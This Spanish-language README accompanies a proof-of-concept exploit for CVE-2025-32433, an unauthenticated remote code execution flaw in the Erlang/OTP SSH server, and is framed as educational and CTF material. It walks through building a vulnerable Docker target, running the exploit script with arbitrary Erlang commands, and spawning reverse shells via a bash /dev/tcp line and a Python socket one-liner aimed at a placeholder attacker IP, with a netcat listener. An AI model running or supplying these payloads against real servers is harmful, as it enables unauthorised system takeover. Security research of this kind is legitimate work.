
Exploit de prueba de concepto para CVE-2025-32433, que permite la ejecución remota de código sin autenticación en Erlang/OTP SSH. Incluye configuración de Docker y payloads de reverse shell para investigación de seguridad y desafíos CTF.
Este repositorio contiene una prueba de concepto (PoC) para CVE-2025-32433, una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada que afecta a la implementación del servidor SSH en Erlang/Open Telecom Platform (OTP). Este PoC está diseñado con fines educativos, investigación en seguridad y desafíos Capture The Flag (CTF).
⚠️ Aviso legal: solo para uso educativo y ético ⚠️
Este PoC se proporciona estrictamente con fines educativos y de hacking ético. Está pensado para usarse en entornos controlados, como máquinas virtuales aisladas o plataformas CTF, donde tengas permiso explícito para realizar pruebas de seguridad.
NO uses este PoC contra ningún sistema que no poseas o para el que no tengas autorización explícita y por escrito para realizar pruebas. El acceso no autorizado o la explotación de sistemas informáticos es ilegal y poco ético. El autor y los mantenedores de este repositorio no son responsables del mal uso o de los daños causados por este código.
| Atributo | Detalles |
|---|---|
| ID de CVE | CVE-2025-32433 |
| Tipo de vulnerabilidad | Ejecución remota de código (RCE) no autenticada |
| Puntuación CVSS v3.1 | 10.0 (Crítica) |
| Software afectado | Servidor SSH de Erlang/OTP (ssh) |
| Versiones afectadas | OTP-27.3.2 y anteriores OTP-26.2.5.10 y anteriores OTP-25.3.2.19 y anteriores Versiones desde OTP 17.0 y anteriores |
| Versiones parcheadas | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
La vulnerabilidad radica en la forma en que el servidor SSH de Erlang/OTP procesa los mensajes del protocolo SSH durante la fase de preautenticación. En concreto, el servidor no aplica correctamente la secuencia del protocolo SSH, lo que permite a un atacante remoto no autenticado enviar mensajes manipulados SSH_MSG_CHANNEL_OPEN y SSH_MSG_CHANNEL_REQUEST. Esto permite al atacante abrir un canal de sesión y ejecutar comandos arbitrarios de Erlang (que, a su vez, pueden ejecutar comandos del sistema) sin proporcionar credenciales válidas. Si el demonio SSH se ejecuta con privilegios elevados (por ejemplo, como root), una explotación exitosa puede comprometer completamente el sistema.
La forma más sencilla de configurar un servidor SSH de Erlang/OTP vulnerable es utilizar el Dockerfile proporcionado.
Clona este repositorio:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Construye la imagen de Docker:
Este comando compila una versión vulnerable de Erlang/OTP (OTP-26.2.5.10) y configura el servidor SSH.
docker build -t erlang-ssh-vulnerable .
Ejecuta el contenedor del servidor vulnerable:
Esto inicia el servidor SSH de Erlang/OTP en segundo plano, escuchando en el puerto 2222.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: Ejecuta el contenedor en modo desatendido (detached).--name erlang-ssh-target: Asigna un nombre al contenedor para facilitar su administración.-p 2222:2222: Mapea el puerto 2222 del host al puerto 2222 del contenedor.El script cve_2025_32433_exploit.py se puede ejecutar de forma interactiva o con argumentos de línea de comandos.
Si ejecutas el script sin argumentos, te pedirá la información necesaria.
python3 cve_2025_32433_exploit.py
127.0.0.1 si el objetivo es Docker en el mismo host).2222).Este es el comportamiento predeterminado si dejas el campo de comando en blanco en el modo interactivo. Crea un archivo /tmp/note.txt en el objetivo.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!Para obtener una reverse shell, debes proporcionar un payload que se conecte de vuelta a un listener en tu máquina.
Inicia un listener de Netcat en tu máquina atacante (p. ej., Kali Linux) en el puerto que elijas.
nc -lvnp 4444
Importante: Asegúrate de que tu cortafuegos (p. ej.,
ufw) en tu máquina atacante permita conexiones entrantes en este puerto.sudo ufw allow 4444/tcp
Ejecuta el script PoC con el payload de reverse shell. Reemplaza YOUR_ATTACKER_IP con la dirección IP de tu máquina.
Reverse shell en Bash:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Reverse shell en Python (a menudo más fiable):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Comprueba tu listener de Netcat. Deberías recibir una conexión y tener una shell en el contenedor objetivo.
Para detener y eliminar el contenedor y la imagen de Docker:
# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable
Verifica que el contenedor esté en ejecución:
docker ps